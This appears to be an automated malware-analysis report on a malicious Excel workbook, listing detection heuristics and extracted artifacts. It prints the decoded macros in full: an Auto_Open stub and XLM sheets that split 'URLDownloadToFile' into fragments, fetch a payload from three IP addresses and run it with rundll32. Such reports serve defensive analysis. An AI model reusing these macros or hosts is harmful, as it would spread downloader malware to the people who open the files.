MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample contains critical Excel 4.0 macros (XLM) that utilize dangerous functions like FORMULA and EXEC, indicating an attempt to download and execute a second-stage payload. The presence of an Auto_Open macro further suggests immediate execution upon opening. The macros likely leverage the embedded URLs to fetch the malicious payload.
Heuristics 6
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Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
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Dangerous XLM formula APIs: FORMULA, HALT, GOTO, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
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VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
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Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
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Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://91.211.91.81/44313,6048108796.dat In document text (OOXML body / shared strings)
- http://5.34.179.36/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://45.153.229.23/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 5
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2437 bytes |
SHA-256: aa10abebc3ece39bf198cf3383ccb30417606e0a98d60e87747026c15426213c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Kikide"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Briks"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Byutut"
Attribute VB_Name = "Vsewd"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Blasr"
Private Sub Auto_Open()
Application.Run Sheets("Nyukasl").Range("AJ6")
Application.Run Sheets("Nyukasl").Range("A5")
Application.Run Sheets("Nyukasl").Range("A5")
End Sub
Attribute VB_Name = "Vrest"
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{4F079883-D63C-4E2A-AD37-7B2F61A2BACD}{A61B2430-76EA-4B1D-A381-E7C23109F48A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
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vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 23552 bytes |
SHA-256: c273c0ba9b123bfd6c5297a7692bdade93c1afc5139260c65963114883a46fd3 |
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xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 4505 bytes |
SHA-256: 665f6c9f9b4a972fb7c9cd862f5d81f8391866e0188d24c7f028f17a82f6de37 |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E3EE2C8-4BD1-4A7A-8165-1C49BDB78CBA}"><dimension ref="AE74:AK92"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="13.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="29" width="13.5703125" style="4"/><col min="30" max="30" width="13.5703125" style="4" customWidth="1"/><col min="31" max="33" width="13.5703125" style="4" hidden="1" customWidth="1"/><col min="34" max="34" width="17.42578125" style="4" hidden="1" customWidth="1"/><col min="35" max="35" width="13.5703125" style="4" hidden="1" customWidth="1"/><col min="36" max="36" width="21.5703125" style="4" hidden="1" customWidth="1"/><col min="37" max="37" width="13.5703125" style="2" hidden="1" customWidth="1"/><col min="38" max="38" width="13.5703125" style="4"/><col min="39" max="39" width="21.42578125" style="4" bestFit="1" customWidth="1"/><col min="40" max="16384" width="13.5703125" style="4"/></cols><sheetData><row r="74" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG74" s="4" t="str"><f>CONCATENATE(AF80,AG80,AH78,AG78,AG79)</f><v>http://91.211.91.81/44313,6048108796.dat</v></c></row><row r="75" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG75" s="4" t="str"><f>CONCATENATE(AF80,AG81,AH78,AG78,AG79)</f><v>http://5.34.179.36/44313,6048108796.dat</v></c><c r="AI75" s="4"><v>1</v></c></row><row r="76" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG76" s="4" t="str"><f>CONCATENATE(AF80,AG82,AH78,AG78,AG79)</f><v>http://45.153.229.23/44313,6048108796.dat</v></c><c r="AI76" s="4"><v>9</v></c></row><row r="77" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AJ77" s="4" t="b"><f>ON.TIME(NOW()+"00:00:02","Grestes")</f><v>0</v></c></row><row r="78" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG78" s="4" t="s"><v>0</v></c><c r="AH78" s="4"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="79" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG79" s="4" t="s"><v>1</v></c><c r="AH79" s="4" t="b"><f>FORMULA(AG85&AG86&AG92,AI83)</f><v>0</v></c></row><row r="80" spans="32:36" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AF80" s="4" t="str"><f>"http://"</f><v>http://</v></c><c r="AG80" s="4" t="str"><f>"91.211.91.81/"</f><v>91.211.91.81/</v></c><c r="AJ80" s="4" t="b"><f>HALT()</f><v>0</v></c></row><row r="81" spans="33:35" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG81" s="4" t="str"><f>"5.34.179.36/"</f><v>5.34.179.36/</v></c></row><row r="82" spans="33:35" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG82" s="4" t="str"><f>"45.153.229.23/"</f><v>45.153.229.23/</v></c><c r="AI82" s="4" t="s"><v>2</v></c></row><row r="84" spans="33:35" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AI84" s="4" t="s"><v>3</v></c></row><row r="85" spans="33:35" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG85" s="4" t="str"><f>"URLDo"</f><v>URLDo</v></c><c r="AI85" s="4" t="s"><v>4</v></c></row><row r="86" spans="33:35" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AG86" s="4" t="str"><f>"wnloadT"</f><v>wnloadT</v></c></row><row r="87" spans="33:35" s="4" customFormat="1" x14ac:dyDescent="0.25"><c r="AH87" s="4" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c></row><row r="88" spans=
... (truncated)
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xlm_sheet_01.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet2.xml | 2129 bytes |
SHA-256: c842664d4adfbab64cc38d3d12f48bc3fe942196965e9c614671ea94f3e6afd5 |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B06B5105-687C-43F7-A487-3A7680CBC977}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="3"/><col min="7" max="7" width="12.140625" style="3" customWidth="1"/><col min="8" max="16384" width="9.140625" style="3"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="3" t="b"><f>REGISTER(Nyukasl!AI82,Nyukasl!AI83,Nyukasl!AI84,Nyukasl!AI85,,Nyukasl!AI75,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="3" t="e"><f>Belandes(0,Nyukasl!AG74,Nyukasl!AI88,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="3" t="e"><f>IF(G12<0, Belandes(0,Nyukasl!AG75,Nyukasl!AI88,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="3" t="e"><f>IF(G13<0, Belandes(0,Nyukasl!AG76,Nyukasl!AI88,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="3"><f>IF(G14<0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="3" t="e"><f>GOTO(Jioka!H4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
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xlm_sheet_02.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet3.xml | 1949 bytes |
SHA-256: 10c797d7a3c632796484bdf562cdd2d33c46d8d630def0609945fce50d2eff68 |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7CC12E8C-181F-40F2-A690-14110549575E}"><dimension ref="H7:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="3"/><col min="8" max="8" width="9.85546875" style="3" customWidth="1"/><col min="9" max="16384" width="9.140625" style="3"/></cols><sheetData><row r="7" spans="8:9" x14ac:dyDescent="0.25"><c r="I7" s="3" t="str"><f>"rund"</f><v>rund</v></c></row><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="3" t="str"><f>"ll32 ..\Ladfge.VDGfwr,DllReg"</f><v>ll32 ..\Ladfge.VDGfwr,DllReg</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="3" t="str"><f>"isterServer"</f><v>isterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="3" t="b"><f>PI()=EXEC(I7&I9&I10)=PI()</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="3" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
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